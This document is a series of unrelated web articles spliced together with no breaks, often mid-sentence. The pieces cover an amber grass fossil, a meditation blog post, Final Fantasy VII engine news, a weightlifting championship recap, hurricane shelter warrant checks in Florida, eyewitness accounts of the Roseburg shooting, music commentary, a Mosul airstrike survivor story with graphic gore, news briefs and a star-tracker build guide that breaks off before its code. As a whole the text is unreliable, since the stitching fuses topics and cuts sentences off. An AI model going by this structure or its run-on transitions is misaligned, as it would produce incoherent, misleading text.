A perfectly preserved, 100-million-year-old amber fossil found in Myanmar—the oldest grass fossil ever found—had a parasitic fungus clinging to its tip that's similar to ergot, the hallucinogen linked to the Salem witch trials, disease epidemics, and most recently, the development of LSD. Researchers at Oregon State University report in the latest issue of the journal Palaeodiversity that it's the oldest evidence to date that some of the planet's first grasses, as well as the dinosaurs and parasites that fed on them, coexisted.
The dark fungus clinging to the grass floret is called Palaeoclaviceps parasiticus and is a relative of ergot. The sample dates back to a time when dinosaurs and conifers dominated the landscape, and grasses and small mammals were just beginning to evolve, reports redOrbit. One theory is that fungi like ergot developed alongside grass as a defense mechanism, resulting in a foul taste that might ward off happily grazing herbivores. Whether this particular fungus would have had a hallucinogenic effect on dinosaurs remains unclear—after all, dose matters, and some of these creatures were huge—but the researchers say this much is now evident: Ergot-like fungus has been around as long as grass itself. (Just last year a family in Florida was hospitalized after eating LSD-laced meat from Walmart.)I’ve come by a article about the rise of meditation in Silicon Valley and how it’s used as a tool to improve engineers’ and marketing teams’ performance at work.
That’s the kind of news that makes me want to swallow my laptop and spit the keys one by one at Larry Page’s face. It’s amazing how greed turns everything into crap. Now it’s meditation’s turn apparently, I assume it’ll be raped by an army of ambitious idiots until everyone forgets what this practice was for in the first place.
I don’t care to sound like a fanatic Hippie: meditation was not meant to increase productivity, using a spiritual tradition to build better software engineers is like buying a dog and train it for combat: it’s pathetic.
Anyway, the point of this article is not to whine about the tech industry misusing spirituality, but to share 6 common ideas about meditation that are plain wrong…according to my experience.
Meditation will silence your mind
No. It won’t silence squat, as a matter of fact, you’ll become more aware of the giant cacophony going on 24/7 in your head, at least in the beginning. Some meditators report moments of calm, but they’re unevenly distributed and more often than not, what everyone meets is (unordered list):
Fear
Anger
Boredom
Drowsiness
A serious need to satisfy biological imperatives
Other totally anecdotal thoughts that normally cross your mind without you noticing
On the bright side, you’ll be less and less affected by your own chaos. That sounds less dramatic than “inner peace”, but that’s actually what it amounts to :)
Meditation will improve your performance
Depends on what is meant by performance. If we’re talking about getting more done in less time: NO. I’ve seen enough highly skilled meditators drag themselves mindfully from one couch to the next doing next to nothing (and ending the day completely exhausted).
What might happen though is an increased capacity to focus and therefore a better use of your brain, but you don’t really need meditation for that, plain focus is enough.
Meditation’s like a therapy without the awkwardness of “seeing a shrink”
Sure!
There are armies of Buddhists running away from medical attention by practicing mindfulness, we’re all somewhat afraid of confessing that our psychology might need some fixing, aren’t we?
The problem is that meditation is neither a placebo nor a therapy and even if it makes things easier for introspective work, it’s no substitute for professional guidance. It really isn’t, sometimes it even worsens serious pathologies. I’ve had to drive some people to the mental hospital after they lost control during Buddhist courses.
If you feel mature enough to face your inner mess and take serious care of your mind, a great approach is meditation AND therapy, at least that’s what I witnessed.
Meditation’s a way to escape reality
That misconception is more common among nay-sayers, those who have no experience whatsoever in meditation. However dumb their prejudice is, I have to concede that it contains an element of truth: the term meditation is so vague that it covers some serious New Age bullshit (visualisations with unicorns galloping in limitless fields of sunlight and whatnot).
Practicing the regular “concentrative meditation” however is not going to make you see rainbows or aliens speaking in tongue. On the contrary it’ll ground you right here and now, which is somewhat more impressive than any known psychedelic.
Mindfulness is not about getting anywhere else — Jon Kabat-Zinn
Meditation makes you an emotionally stronger person
I wish it did, but I’ve never cried that much since I’ve started practicing it.
I’m not gonna ruin the show, though, let me present things differently, what if meditation made you not care about being a stronger person? What if, after a while, it didn’t matter to be tough because you realize how fragile all humans are and that you’re just one of them?
Would you still want to protect yourself if there was no way to protect anything, and nothing to protect in the first place?
That might sound like a lot of spiritual hogwash, but really, it’s all I can say about it, strength finds you when you stop trying to be a badass.
Meditation’s a great tool against depression
Yet another very popular way to sell meditation with fallacies. I can only give my personal take on it: meditation didn’t do anything to help me with depression. Meditation and Prozac did (I used it for a year and a half) along with a whole bunch of self-help and therapy.
I don’t deny the fact that it might be a winning formula, I’m sure some meditators found relief leveraging mindfulness to fight the black dog but I mostly know people who failed at that.
So, let me summarize what I tried to say in the above list: meditation is packed with benefits, but they’re generally not what you think and they largely depend on how you set your expectations.
In short, meditation is a tool to reach enlightenment, nothing less than that.
The current trend is to sell meditation for what it’s not and ignore its real purpose. The benefits of practicing mindfulness go wayyyyyyyyyy beyond the Google management’s craziest dreams, and if you’re willing to push the door and try it for yourself, you’ll experience all that.
The people who meditate consistently seem to become more human, more compassionate, kinder with themselves and with others. And also smarter about handling relationships. They listen more than they talk, and they like to help others around them. They’re OK with saying that they screwed up and that they’re sorry, they’re able to let others win and take the blame.
But they get depressed sometimes, because that seems to be part of the human experience, and meditation doesn’t save you that.
If you’d like to get more posts on self-help and meditation for our insanely busy lives, you should subscribe to gr0wing.com’s newsletter :)Share. Unreal Engine 4 perhaps? Unreal Engine 4 perhaps?
Square Enix has no plans to use the Luminous Engine in the development of Final Fantasy VII Remake.
When asked by Nova Crystallis at Gamescom whether or not Square's custom-built engine would power the aforementioned remake, Final Fantasy XV director Hajime Tabata replied: "Final Fantasy VII (Remake) is not planned to be made with that."
Exit Theatre Mode
While Final Fantasy XV uses the Luminous Engine, Square's other major project, Kingdom Hearts III, was originally being built on it as well, but has since switched to Unreal Engine 4.
Final Fantasy VII director Tetsuya Nomura just recently confirmed that the upcoming remake will not only feature 'dramatic changes,' but also draw Inspiration from his 2005 spinoff film, Advent Children.
Final Fantasy VII Remake is slated for release on PlayStation 4, but Square Enix has yet to provide a release window. While you patiently wait for more information, check out these 7 things we think the remake needs.
Alex Osborn is a freelancer for IGN. You can follow him on Twitter.EMERGENCY ALERT! Salt Lake City is burning. As predicted, the result of USAW taking over National events was utter, total chaos. Not since Genghis Khan and his Mongol hordes marched across Eurasia have we seen destruction on this scale (though with fewer horses). Day one of the competition, which should have started with the women’s 58D snatch session, instead opened with a small but significant nuclear explosion, apparently because USAW staff mistook a rod of refined plutonium for a barbell. By day two, when radiation sickness set in, everybody in attendance had grown at least one extra arm, making the successful completion of the two-handed snatch and clean & jerk difficult, to say the least. From there, it only worsened! Fires are still burning in Salt Late City, [static] all because USAW thought it could handle a National competition [static] in the very sport it governs. This [static] is a Mayday call, begging you to [static] stay away, or at least to bring food, water, and three-sleeved hookgrip t-shirts if you do come. Mayday! May—
Wait, what?
There was no disaster? No nuclear meltdown? Salt Lake City is not, in fact, a smoldering heap of ashes?
What’s more, the 2014 Nationals were perhaps the BEST Nationals in recent memory?!
How is this possible? What have we come to?! WHAT WILL DON MCCAULEY COMPLAIN ABOUT NOW?! (Fortunately for him, Obama is still President, so Don has something to keep his blood pressure elevated on Facebook.)
But yes! The 2014 Nationals, by almost any standard or measurement (except, perhaps, radioactivity) were a resounding, unqualified, spectacular success. Remember, if you will, a time not long ago, when our National events were held in places like Council Bluffs, Iowa (famous for riverboat casinos so sad they make Atlantic City look like a model of regeneration) and Skatetown USA. By comparison, this year’s Nationals—held in the fabulous Grand America Hotel, with bathrooms so polished I was tempted to book a stall instead of a room—were a four chandelier event. The ballroom where the platforms were installed was outstanding: large, refined, with a raised stage, large warm up areas, and lighting just dim enough to make you feel like you should be making out with whoever was sitting next to you.
There are a lot of people who go into the making of a national meet (both figuratively and literally: the weightlifting gods demand human sacrifice, and their ashes are mixed with the chalk in a gesture of appeasement). USAW staff and associated Salt Lake City personnel surely deserve a round of applause. And not just of the metaphorical kind; all too often people in this sport raise their voices or contact USAW only to complain, as evidenced by the drones members of various weightlifting “nations” with attitude. Why not be in touch to tell USAW, instead, how successful this meet was? The emails of USAW staff are publicly available, and I’m sure they’ll provide Salt Lake City contacts as well (or will pass on sentiments). For those of you who want to see meets of similar (or better!) quality in the future, one of the best things you can do is let the people in power know what you liked and thank them. (Even better: volunteer!)
But the organizers are only part of the show. The other critical piece—without which there wouldn’t even be a National Championships—is, of course, Mike Graber. I mean the athletes! Yes, athletes. Graber’s important, too, and at one time he was an athlete (and National Champion!), but the current crop of lifters, consisting of faces both old and new, is enough to make even the most cynical of fans gruffly appreciative of what is happening in this sport. With over 400 participants there is simply no way to acknowledge them all. Indeed, it’s not even possible for me to acknowledge all the highlights without letting an already lengthy essay devolve into a multi-volume treatise that would make a Board meeting monologue by the (in)famously loquacious Artie Dreschler look like a bake sale leaflet by comparison.
Thus I will limit myself to a few standouts from the weekend, based mostly on what I saw when Dr Westbrook and I were providing commentary for the Coaches Aid webcast (a generally excellent stream, aside from some bandwidth problems during the 94s, which were probably due to the unforeseen explosion in some of our athletes’ popularity not just here, but internationally, as well):
Morghan King: she weighed in just north of 48 kilos (49.35, competing as a 53) and came damn close to making a double-bodyweight clean and jerk with 100.
CJ Cummings: when was the last time a 14-year old lifter broke a Senior American record? And when is it likely to happen again? (Answer: probably the next time CJ lifts.) This lift also equals the US All Time record (and I’ll note here that Derrick Johnson’s 123 snatch in this class exceeds the US All Time record).
Caleb Williams: his 174-kilo clean and jerk, which shattered his own American Record, is a legitimate world class lift.
Travis Cooper, James Tatum, Chad Vaughn: Remember when Travis Cooper was a 94-kilo junior lifter whose technique resembled that of a silverback gorilla attempting to forage for bananas under a fallen tree? Me too. He’s now become a 77-kilo lifting machine with technique that’s been refined to match his prodigious strength. And remember when Chad Vaughn could show up to a Nationals and be guaranteed first place so long as he made two lifts? Those days are long gone, which is more a testament to the growth of the sport than any dig at Chad (who appears happy to see these changes and new challenges). Bearded wonder and 2014 National Champion James Tatum, meanwhile, keeps improving as well, pushing himself and others within this class. The record marks for the 77s—157.5 in the snatch, set by the great Oscar Chaplin III back in 1999, and 190 in the clean and jerk, set by Chad Vaughn—are a bit beyond these athletes’ current reach, but perhaps not for long…
John McGovern: in the hype of the 94s the impressive lifting by the 85-kilo Champion—147 and 190—was almost overshadowed. But numbers like those (and legitimate cracks at 150 and 195) simply cannot be ignored.
Colin Burns: In the 94s I have to limit myself here to the National Champion, because there were so many talented athletes in the session. Also, in an extraordinary lack of foresight, I totally discounted this guy as a medal contender in the total. I knew he had a strong snatch, but his performance in the clean and jerk often fell short at the national level. Yet here he pulled out a tremendous 192 after snatching 167 (briefly holding the snatch record that Norik had just broken, which Norik subsequently rebroke, finishing with 168; the old record of 165, set by Tom Gough, had stood since 2000).
Caine Wilkes: what can you add to a 400lb. snatch, a 400-kilo total, and a serious shot at a 500lb. clean and jerk? Nothing, except that the snatch is just as impressive in its kilo equivalent of 182.
Jenny Arthur: an easy 104 snatch and a beautiful clean at 135 (despite missing the jerk).
If there’s any doubt that we’ve come a long, long way, consider that Dmitry Klokov watched the 94 session (and possibly others) and filmed highlights. When was the last time a top Russian lifter took an interest in our Nationals?
I had the pleasure of running into Mr Klokov when he flagged down The Two Doctors, hoping to get a photo with us (“You are celebrities in Russia!” he cried; at least I think that’s what he said—I always speak to lifters in their native tongue…) Remember the scene from The Empire Strikes Back, when Luke Skywalker is falling down Cloud City after having lost a hand and learning (SPOILER ALERT!) that Darth Vader is his father? That’s what my hand felt like as it slipped in between the mountain range known as Klokov’s erectors for our picture. I was hopeful worried his back might swallow my entire arm before we disentangled.
Looking back (can we already look back?), the Nationals this weekend—and perhaps the 94 session in particular, when there were literally thousands of people trying to watch American lifters on the live stream—appear to be a seminal moment in the history of this sport, something noted by Nick Frasca (one of the people behind the 2012 American Open) in an exchange we had online. Indeed, it’s hard not to see that 94 session as a harbinger of something big: thousands of fans following every lift like the play-by-play of some terrific title fight between the biggest and best of the day. Farris with 160, Vardanian with 166 for the record! Then Burns to 167, and a new record! …but wait, here comes Vardanian again with 168, and it’s good!
The 94s—and the entire, sun-baked weekend in Salt Lake City—have the possibility to be seen as one of those moments in history. It can be a strange thing to realize you might be right in one of those moments: living it, contributing to it, and watching it unfold before your eyes. Of course, history—such that we can understand any of it—is far messier than any one moment, and those of us doomed fortunate enough to study it know that the forces that steer the course of a people, a movement, or an Olympic sport are likely too complex to ever fully explain. But it looks very much like the Great Magnet is aligning things in ways that are favorable to weightlifting in general and USAW in particular. Internet and social media resources like hookgrip and All Things Gym are spreading the lifting gospel far and wide, and the popularity of CrossFit means more people are practicing the Olympic lifts than ever before in this country (even if many of them are doing it with, uh, less-than-good form). Throw in talented—I mean, extremely talented—youth and junior athletes, along with a hint of cinnamon, and you have the makings of a very satisfying mix with which to completely transform this sport at home and abroad.
The hard part, of course, is to make sure the current wave of enthusiasm doesn’t break too soon, before it’s had a chance to build sufficient momentum. Weightlifting, for all its reliance on quick, microsecond bursts of power and activity, is a sport that demands patience and time. Those of us who know and love it, who’ve dedicated years to it, know that long-lasting growth is the only way to improve it. The Nationals this weekend, a rousing success in the view of many, are one step in the right direction. A big step, to be certain, but one step nonetheless. Ultimately, success in weightlifting is built not on Facebook likes or Twitter feeds or Instagram photos; it’s built in the hard, day to day work of athletes and coaches and those supporting them. There is an energy running through this sport that is undeniable, and it’s up to all of us to see that it gets channeled, funneled, and encouraged, before it’s too late and the surge has run its course.Spread the love
Polk County, FL — Hurricane Irma is still several days out, however, controversy over how police intend to respond is already here. The Polk County Sheriff’s office is now reeling from a Tweet it made Wednesday morning noting that all people seeking shelter from the hurricane will be made to show ID.
On the surface, the Sheriff department’s post seems benign enough as they explain that this is to deter sex offenders and people with warrants.
“If you go to a shelter for #Irma, be advised: sworn LEOs will be at every shelter, checking IDs. Sex offenders/predators will not be allowed.”
If you go to a shelter for #Irma, be advised: sworn LEOs will be at every shelter, checking IDs. Sex offenders/predators will not be allowed — Polk County Sheriff (@PolkCoSheriff) September 6, 2017
However, several minutes later, another tweet followed. “If you go to a shelter for #Irma and you have a warrant, we’ll gladly escort you to the safe and secure shelter called the Polk County Jail.”
If you go to a shelter for #Irma and you have a warrant, we'll gladly escort you to the safe and secure shelter called the Polk County Jail https://t.co/Qj5GX9XQBi — Polk County Sheriff (@PolkCoSheriff) September 6, 2017
Naturally, most people do not want to be in a shelter with sex offenders and criminals. However, people with outstanding warrants aren’t necessarily criminals, and because of that fact, Twitter responded to the tweet with a ferocious backlash.
In the state of Florida, you can and will be pulled over and ticketed for driving a car with dark tinted windows. Despite not causing harm to anyone, the state of Florida will claim that your window tint was so dark that you now owe them money.
If you are unable to pay this money to the state, a warrant will be issued for your arrest. This warrant is issued in spite the fact that you may not be able to pay the fine because have a family to feed or children to support.
During the hurricane, people who may be trying to seek shelter for their families will be denied that shelter based on the fact that they have a warrant. That warrant could be over window tint.
So basically this guy is encouraging anyone with a warrant, which are issued for things such as outstanding parking tickets, to risk death? — Alt Sarah H. Sanders (@AltUSPressSec) September 6, 2017
As TFTP has reported on countless occasions, laws for victimless crimes like window tint, seat belt violations, parking tickets, etc., hurt the poor the most. Many people have to literally choose between eating and paying an extortion fee to the state for not wearing a seat belt. If you had to choose between feeding your children for two weeks or giving a police department $250 for a seat belt fine, which would you pay?
i actually don't think you should have to die in a hurricane just because you have a warrant. just my take — libby watson? (@libbycwatson) September 6, 2017
Sadly, the sheriff is missing the point and essentially creating a larger problem in the future by encouraging tens of thousands of people to ride out the storm in their homes.
In Florida, the total number of outstanding warrants, both felony and misdemeanor, is 325,000, according to the Florida Department of Law Enforcement. Most of those warrants are for nonviolent crimes. In fact, of those 325,000, only 898 homicide warrants, 273 kidnapping warrants, and 565 sexual assault warrants are outstanding. That’s less than one-half of one percent of all warrants.
This definitely won't cause anyone to try to ride out the storm because they have too many unpaid parking tickets or whatever. Good job — Patrick Monahan (@pattymo) September 6, 2017
When asked about the potentially devastating crisis created by this papers please policy, public information officer Carrie Eleazer Horstman reminded everyone of the potential for 26,000 sex offenders in the state to seek out shelters and start acting out.
As the Tampa Bay Times reports, when asked whether the office is worried the tweets might discourage some from seeking shelter, Horstman noted that the office would be held responsible if they allowed sexual predators to share shelter with children and families or if they failed to arrest someone who they knew had an outstanding warrant.
“We see that people [on Twitter] are upset, but the bottom line is the shelters are here to protect people and we want people to be safe,” Horstman said. “If you have a warrant, turn yourself into the jail and if you are a predator, find somewhere to go.”
Even if all the poor folks who have warrants for being unable to pay their traffic fines did turn themselves in, the potential for a different catastrophe arises.
Jails are not magically immune to natural disasters.
People locked in cages during floods are subject to horrifying conditions. While many of the people in those cages deserve to be there—many others do not.
As you watch this disaster unfold on your TV, as the Florida government scrambles to rescue tens of thousands of hurricane victims from their rooftops, remember many of them could’ve been in shelters but they were too poor to pay the ticket for window tint.A friend of the injured woman dragged her into the room and began delivering CPR, Ms. Welding said. Someone clicked the door shut and the students huddled in the corner, blocking themselves with desks and backpacks. “I heard more shooting,” Ms. Welding said. “It was horrific. My whole body was shaking. A chill was going down my spine. We called 911.”
She added, “I was on the phone with my mom pretty much the entire time. I knew this could have been the last time I talked to her.”
Brady Winder, 23, who moved to Roseburg only three weeks ago, was in a writing class.
“We heard one shot,” Mr. Winder said. “It sounded like someone dropped something heavy on the floor, and everybody kind of startled. There’s a door connecting our classroom to that classroom, and my teacher was going to knock on the door, but she called out, ‘Is everybody O.K.?’ And then we heard a bunch more shots. We all froze for about half a second. Everybody’s head turned and looked at each other, trying to just grasp what was happening, and someone said, ‘Those are gunshots.’ We heard people screaming next door. And then everybody took off. People were hopping over desks, knocking things over.”
Kortney Moore, 18, from Rogue River, told the Roseburg newspaper, The News-Review, that the gunman had asked people to stand up and state their religion and then started firing. She said she saw her teacher shot in the head, adding that she herself was on the floor with people who had been shot.
Federal law enforcement officials said they were examining an online conversation on 4chan, an anonymous message board, as well as other social media, trying to determine whether any of it was linked to the gunman. In that conversation, one writer said, “Don’t go to school tomorrow if you are in the Northwest.”Last week, our Gender Matters columnist Akiba Solomon took on herself. (Hey, sometimes it’s hard to find a rhetorical equal…) Revisiting her earlier take on Lupe Fiasco’s “Bitch Bad,” a track that digs into internalized racism and sexism, Akiba finds herself reassessing her standards for Lupe’s black male feminism, finding herself happier to hear it than she first realized. She concludes:
Call me preachy, but I think we need to hear more straightforward challenges to the prevalence of “bitch” from black males (yes, black males) who use it in multiple ways with few consequences. I say this as a black woman who has been called a bitch by men who look like me in the streets; had dudes who look like me throw juice and 40 bottles at me for ignoring their advances; had a man twice my age who looked like me call me a trick-ass ho for daring to hail a cab rather than riding with a stranger; had a classmate who looked like me shove me into a cafeteria conveyor belt because I wasn’t tactful enough when I told him I didn’t want his number; and had another one who looked like me call me an ugly black bitch with no ass just for averting my eyes. That kind of verbal abuse from people you’ve been raised to call “brother” has a cumulative effect. So if Lupe Fiasco or any other black male hip-hop artist takes the time out to say STOP!, I’ll ride for that effort and hope that the fair criticism propels him to another level the next time around.
As Dream Hampton said in the comments: “That last graph man….”
Reader Joe Truss kicks off our conversation in the Colorlines.com community – ostensibly about Lupe, but also about the challenges rappers face in getting out a message that is both heard clearly and received openly.
Dope song. Dope message. Hard for many to swallow. The video with minstrel show references makes it even clearer. Internalized oppression is so commonplace we deny it.
WhizKidMethod:
Regardless, I think it was a failed attempt. Who is Lupe to tell any woman what makes her respectable? I do think it’s important to note, what you said about Fiasco spitting something other than the usual ignorance. I give him that much. No, I don’t think he’s an idiot or a spectacle, as most mainstream rappers appear to be, but he clearly needs to think further into the dichotomies he’s analyzing and his role as the perpetrator.
BWofBrazil:
I appreciate the song even though there’s still a problem with it. Although the intent of the song is a critique of the imagery created in popular rap songs, by Lupe using “Bitch Bad” in his chorus, a little kid listening could actually interpret his song in the same way that they interpret the songs he critiques without getting the complete message. Dude in the video reminded me at first sight of 50 Cent but as the video went on, I saw every popular rapper who has contributed to the image of black women/video vixens. Lupe’s one of the few rappers who I like nowadays, at least of those whom are somewhat popular. I would encourage those women who always get up and dance to songs that call women derogatory terms all the while saying/believing “he ain’t talkin’ ‘bout me” to see this video and peep the lyrics! Also, in the pursuit of the almighty dollar, artists have inadvertently become part of the machine that assaults and bombards the psyche with all sorts of images that end up having an effect on society. When entertainers do such, without caring about the effect of their images on themselves or society, they symbolically have donned blackface (shout out to Spike Lee). This is also the case in many facets of Brazilian entertainment, for example.
carlitomachete:
As always, hella thought-out and thought-provoking, AK-47. Still blows my mind how you always find a way to strike that balance between impassioned response and straightforward analysis. My two cents – as a so-called hip-hop head AND a sometimes reluctant card-carrying member of the so-called hip-hop media AND MOST IMPORTANTLY as a father to three daughters and two sons? I’m with you: Lupe is indeed on to something deeper. And it’s up to ALL of us to keep digging…
sweeneykovar:
This is definitely a more thorough analysis than SPIN or any other publication I’ve read cover this. The one thing they do hit upon that I think is of importance, though arguably subjective, is that for all Lupe’s good intentions and aims, the song just sounds awkward. I’ve often said I am interested in Lupe’s politics but not his music. That said, Lupe is one of the few explicitly political artists in the mainstream who make it a point to highlight and not dismiss their personal politics. As an avid hip-hop head, this puts me in a precarious position: Lupe has a message I support but a delivery I cringe at.
JulianaBrittoS:
What a wonderfully written post. I totally agree that it should not be up to women only to police gender and racial slurs. I have to question whether Lupe Fiasco really intended such an intelligent message as you extracted but again, I’ll take what I can get.
Each week, we round up the best comments in our community. Join the conversation here on Colorlines.com, and on Facebook and Twitter.The father of the 4-year-old Hawraa, who is slowly recovering from severe wounds she suffered in a coalition airstrike on her home in Mosul that killed her mother and most of the family, told RT about the horrors and desperation he went through during the raid.
Read more
Hawraa miraculously survived the US-led coalition airstrike on al-Jadida neighborhood in Mosul on March 16 that claimed the lives of her mother and two other relatives.
“We were sitting at my uncle's house. She [Hawraa] and her mother, and my uncle's wife went back home to cook and give her a bath, because she was sick. So they went home at eight o'clock, and the house was shelled by the American air force,” Hawraa’s grieving father, Alaa, recalls.
Hawraa was the only one to make it through the airstrike, and then had to battle for her life in the field hospital of Iraq Special Operations Forces after suffering multiple shrapnel injuries. The girl, although still feeble and is hospital care, is keen on making a full recovery. Hawraa has become strong enough to be able to speak to her other relatives by phone, although she still needs her grandmother’s help to sit down.
The 4-year-old seems not to comprehend completely what has happened to her.
“Yesterday, she was touching her hair and asking, where is my hair? Is it burned off?” Hawraa’s grandmother told RT.
While it will take a long time for the child to heal physically, it will be even harder to get rid of mental scars.
“She has developed a fear from explosions and the sounds of bullets. She doesn't want to go back, ever,” her grandmother said.
‘Made in USA’
Adjusting to the brutal reality is no less tough for Alaa, who keeps replaying events of the night of the raid. Due to the constant shelling of the area by Islamic State (IS, formerly ISIS, ISIL) terrorists, Alaa was forced to stay in his uncle’s house effectively being trapped there for three days and thus unable to help his family.
Read more
“I tried to save her, but I couldn't save her from the shelling and the airstrikes. And Daesh [IS] were firing at us, and there were snipers, they were shooting at me so I couldn’t go out with her, I stayed there around three days,” Alaa said, adding that every time he attempted to go outside, he was shot at.
The news on his wife’s demise came amid that chaos. A neighbor told Alaa that he saw somebody who appeared to be his wife lying under a wall with a big, one meter high and half a meter wide hole in it. Walls with such man-made holes are used by IS militants to move swiftly while at the same time in disguise.
“I went through the holes and I saw my wife. I saw only one of her legs and part of her abdomen. She had no leg, no arms and no head, just this part of her body still there. I tried to take her out and they started to shoot at me. I just covered her with a blanket so the dogs wouldn't eat her body,” Alaa recalled.
Alaa was told that his house, with his family inside, was targeted in the coalition raid. Later he discovered what he believes was a part of an American shell used in the bombing.
“You know that at the end of the missile there are four flaps, on that cartridge was written'made in USA', I'm sure that was American,” Alaa said.
Alaa’s family became one of the many civilian casualties inflicted by the coalition air raids in Mosul. As terrorists use civilians as human shields and deliberately draw coalition warplanes to residential areas, the line between civilian and terrorist targets has become blurred.
Alaa believes that the bomb might have mistakenly landed on his house, while it was intended to strike a shooting position of jihadists in a nearby home. He recounts the toll of other misplaced strikes, going as far as calling the carnage “genocide.”
“All of these were airstrikes. Our house, out neighbor’s house. In one house alone, 144 people [were killed] and in front of our house 32 people [were killed]. Next to our house 13 people [were killed], in the house behind us more than 20 [were killed],” he said.
“This is genocide, I don’t know, how else can you see this?”
READ MORE:‘Credibility’ probe into US-led coalition airstrike in Mosul raised to formal investigation
The US-led coalition has subsequently issued a statement, admitting that it targeted the area at the request of the Iraqi forces at the time of the incident and launched a formal investigation into the deaths of dozens of civilians in the residential neighborhood of western Mosul on March 17.
Announcing the probe, US CENTCOM commander General Votel stressed that IS “exploits” the US “sensitivity for civilian casualties” by using them as human shields, arguing that in this particular case the IS fighters “bear the responsibility for this as well.”• Few details have emerged in the car bombing in Kiev yesterday that killed a colonel in Ukraine’s military intelligence. [Kyiv Post]
• The issue of same-sex marriage moved to the center of Germany’s national election campaign. Martin Schulz, the left-wing candidate, demanded a parliamentary vote this week. [The New York Times]
• Meanwhile, the Chaos Computer Club, a Hamburg collective, is working on hacker-proofing the German election in the fall. [Bloomberg Businessweek]
• A court in the Netherlands ruled that the Dutch government was partly liable for the massacre of about 350 Muslim men in the Bosnian town of Srebrenica in 1995. [The New York Times]
• Nicola Sturgeon, Scotland’s first minister, postponed plans for a second independence referendum after her party’s setback in Britain’s general election. [The Scotsman]
• In Britain, the authorities identified more buildings with flammable facades, or cladding, similar to what was used on the London highrise that caught fire this month. The authorities in Germany evacuated a building with similar cladding. [The New York Times]
Smarter LivingCLEVELAND, Ohio -- And we thought the last order of shrimp fried rice was out the door.
Cleveland's defunct Chinatown, a cluster of storefronts in the 2100 block of Rockwell Avenue, is showing glimmering signs of rebirth. What was shuttered and paint-peeling for years now hosts a parade of polished brass doors and overhanging green-glazed roof tiles.
Inside |
get to use it. Here’s the basic design:
The angle must increase at a constant rate based on the rotation of the Earth. We all know the rate the world turns so we can get explicit expressions for the angle as a function of time.
Since the Earth is also rotating around the Sun, it turns out that it actually takes more like 23 hours, 56 minutes, 4.0916 seconds for the stars in the sky to rotate all the way around. This is called the Mean Sidereal Day and is the value we’ll actually use in this system. As you can now calculate, the constant angular velocity we need this thing to open at is 7.292115e-05 radians per second.
Now we are faced with a classic word problem: “What rate should we spin the motor to maintain a constant angular velocity in the above triangle?” First let’s just see how fast the screw has to rise. Bust out some trig to get an expression for y(t) and then take its derivative (don’t forget the chain rule!) and you’ll find:
Ok, now we just have to convert that to a rotation of the screw. The threaded rod I got at Hero Ace downtown is a 1/4-20 bolt, where the 20 means “there are 20 threads in 1 inch,” or in other words, “there are 20 rotations per 2.54 cm of insertion = 7.874 rotations/cm.” Adjust accordingly if you have a different screw thread.
Let’s plot the rotations per minute required to match the Earth’s rotation for varying values of L my multiplying dy/dt [cm/minute] by 7.874 [rotations/cm] for 90 minutes.
Note: You can check out the Python code used to do these calculations here.
As you can see, the rate changes with time! This is called “the tangent error” and it’s caused by the fact that the acorn nut is sliding along the hypotenuse as the “barn door” opens (see schematic above). There are a bunch of ways people have dealt with it. One is to use a curved screw. Another is to put a specially-shaped cam where the acorn nut contacts the top board. But for this project, I’m simply going to speed up the motor as time goes on if I do a very long exposure. Not having a proper shop, I prefer to use simple physical construction and deal with it in code. If you’re doing 5-10 minute exposures, this issue won’t get to you. Note also that if you have a constant 1 RPM motor, a 29cm L is about right for you.
Putting it together
I bought some stuff at the local ACE hardware store to put this together. They had pretty much everything I needed in the hardware department.
My steps:
Cut boards to size. I chose my total board length as a few inches longer than the 29cm I wanted between my hinge and the shaft. Note that you want to give the top board enough space to open and still contact the shaft, so give it at least 2-3 inches, and longer if you want even longer exposures.
Attach hinge
Attach slide plate if you have one (not sure if needed)
Measure out L from hinge pin and drill hole in bottom board
Apply epoxy to tee-nut for drive shaft and hammer it in place
Epoxy small washers to the top of rails
Stick motor shaft in drive hole and mark location of rails
Drill 1/8″ holes for 1/8″ rails on bottom board and slide them in
Drill hole for ball mount on top board
Mount camera and have a friend help balance it to try to figure out where the center of gravity is on the bottom board. Choose a spot and drill and install 2nd tee-nut for bottom tripod mount. I ended up moving mine from the bottom to the top (so the tripod screw pulls it into the wood, not out) and getting a really long tee-nut for better stability. Then I can really crank down on the tripod screw so the thing stays steady.
Drill out 1/4″ hole in one side of 5mm coupling nut to attach drive shaft to motor
Screw threaded rod into main hole, install acorn nut on top
Put motor on tails and fire it up!
Loud video warning:
Programming the Stepper Motor/MCU
Before I started this project, I happened to have a bag full of stepper motors (like these) and their controllers, and also a bag full of ESP8266 microcontrollers (like these). These are both extremely cheap (like $5 each) items and so I figured they’d be fun to apply for this. ESP8266’s even have Wifi if you want to get super fancy but I didn’t use that here.
NOTE: If you’d rather not bother with a MCU and variable-speed motor, you can do very well just skipping this step and using a much simpler 1 RPM motor and a L of 29 cm.
Using instructions from here, I got my ESP8266 all hooked up and ready to program using the Arduino IDE. Here’s a good intro to spinning these kinds of motors with code.
Calibration of the ESP8266 delay
First thing I wanted to do was just double check that the timing would be precise enough for what I need (mostly I just wanted to fire up the scope). I got the motor turning with a 5 ms delay, double-stepping and took this measurement from one of the 4 pins:
Pretty close to that 10 ms we’d expect. Looks good to me. Here’s the code:
